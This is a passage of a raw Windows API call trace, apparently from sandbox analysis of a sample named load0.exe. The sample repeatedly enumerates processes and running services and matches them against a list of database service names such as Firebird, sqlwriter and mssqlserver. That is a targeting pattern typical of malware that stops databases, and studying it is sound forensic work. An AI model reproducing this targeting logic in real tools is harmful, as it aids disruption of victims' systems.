lpString2="RpcEptMapper") returned -1 [0275.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0275.359] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0275.359] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0275.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0275.359] lstrlenW (lpString="RpcSs") returned 5 [0275.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0275.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0275.359] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0275.359] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0275.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0275.360] lstrlenW (lpString="SamSs") returned 5 [0275.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0275.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0275.360] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0275.360] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0275.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0275.360] lstrlenW (lpString="Schedule") returned 8 [0275.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0275.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0275.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0275.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0275.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0275.360] lstrlenW (lpString="SecurityHealthService") returned 21 [0275.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0275.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0275.360] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0275.360] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0275.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0275.360] lstrlenW (lpString="SENS") returned 4 [0275.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0275.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0275.360] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0275.360] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0275.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0275.360] lstrlenW (lpString="ShellHWDetection") returned 16 [0275.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0275.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0275.360] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0275.361] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0275.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0275.361] lstrlenW (lpString="Spooler") returned 7 [0275.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0275.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0275.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0275.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0275.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0275.361] lstrlenW (lpString="StateRepository") returned 15 [0275.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0275.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0275.437] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0275.437] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0275.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0275.437] lstrlenW (lpString="SysMain") returned 7 [0275.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0275.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0275.437] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0275.437] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0275.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0275.438] lstrlenW (lpString="SystemEventsBroker") returned 18 [0275.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0275.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0275.438] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0275.438] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0275.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0275.438] lstrlenW (lpString="Themes") returned 6 [0275.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0275.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0275.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0275.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0275.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0275.438] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0275.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0275.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0275.438] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0275.438] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0275.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3faf028 | out: hHeap=0x630000) returned 1 [0275.439] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10bc [0275.444] Process32FirstW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.445] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.446] lstrlenW (lpString="System") returned 6 [0275.446] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.447] lstrlenW (lpString="smss.exe") returned 8 [0275.447] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.451] lstrlenW (lpString="csrss.exe") returned 9 [0275.451] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.452] lstrlenW (lpString="wininit.exe") returned 11 [0275.452] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.453] lstrlenW (lpString="csrss.exe") returned 9 [0275.453] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.458] lstrlenW (lpString="winlogon.exe") returned 12 [0275.458] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.459] lstrlenW (lpString="services.exe") returned 12 [0275.459] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.460] lstrlenW (lpString="lsass.exe") returned 9 [0275.460] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0275.461] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0275.461] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0275.482] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0275.482] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.483] lstrlenW (lpString="svchost.exe") returned 11 [0275.483] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.484] lstrlenW (lpString="svchost.exe") returned 11 [0275.484] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.485] lstrlenW (lpString="dwm.exe") returned 7 [0275.485] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.486] lstrlenW (lpString="svchost.exe") returned 11 [0275.486] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.487] lstrlenW (lpString="svchost.exe") returned 11 [0275.487] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.488] lstrlenW (lpString="svchost.exe") returned 11 [0275.488] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.489] lstrlenW (lpString="svchost.exe") returned 11 [0275.489] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.490] lstrlenW (lpString="svchost.exe") returned 11 [0275.490] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.491] lstrlenW (lpString="svchost.exe") returned 11 [0275.491] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.492] lstrlenW (lpString="svchost.exe") returned 11 [0275.492] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.493] lstrlenW (lpString="svchost.exe") returned 11 [0275.493] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.494] lstrlenW (lpString="svchost.exe") returned 11 [0275.494] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.495] lstrlenW (lpString="svchost.exe") returned 11 [0275.495] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.550] lstrlenW (lpString="spoolsv.exe") returned 11 [0275.550] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.551] lstrlenW (lpString="svchost.exe") returned 11 [0275.551] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0275.552] lstrlenW (lpString="audiodg.exe") returned 11 [0275.552] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0275.553] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0275.553] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0275.554] lstrlenW (lpString="Memory Compression") returned 18 [0275.554] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0275.555] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0275.555] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0275.556] lstrlenW (lpString="sihost.exe") returned 10 [0275.556] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.557] lstrlenW (lpString="svchost.exe") returned 11 [0275.557] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0275.558] lstrlenW (lpString="taskhostw.exe") returned 13 [0275.558] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0275.559] lstrlenW (lpString="msoia.exe") returned 9 [0275.559] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.560] lstrlenW (lpString="explorer.exe") returned 12 [0275.560] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0275.561] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0275.561] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0275.562] lstrlenW (lpString="SearchUI.exe") returned 12 [0275.562] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0275.563] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0275.563] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0275.564] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0275.564] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0275.565] lstrlenW (lpString="load0.exe") returned 9 [0275.565] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0275.566] lstrlenW (lpString="load0.exe") returned 9 [0275.566] Process32NextW (in: hSnapshot=0x10bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0275.567] CloseHandle (hObject=0x10bc) returned 1 [0275.567] Sleep (dwMilliseconds=0x1f4) [0276.211] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64848 [0276.211] EnumServicesStatusExW (in: hSCManager=0x3f64848, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0276.212] GetLastError () returned 0xea [0276.212] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x3faf028 [0276.212] EnumServicesStatusExW (in: hSCManager=0x3f64848, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3faf028, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3faf028, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0276.213] CloseServiceHandle (hSCObject=0x3f64848) returned 1 [0276.214] lstrlenW (lpString="Appinfo") returned 7 [0276.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0276.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0276.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0276.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0276.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0276.214] lstrlenW (lpString="AppXSvc") returned 7 [0276.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0276.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0276.214] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0276.214] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0276.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0276.214] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0276.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.214] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0276.214] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0276.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0276.214] lstrlenW (lpString="Audiosrv") returned 8 [0276.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0276.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0276.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0276.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0276.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0276.214] lstrlenW (lpString="BFE") returned 3 [0276.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0276.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0276.215] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0276.215] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0276.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0276.215] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0276.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.215] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0276.215] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0276.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0276.215] lstrlenW (lpString="CDPSvc") returned 6 [0276.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0276.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0276.215] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0276.215] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0276.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0276.215] lstrlenW (lpString="ClickToRunSvc") returned 13 [0276.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 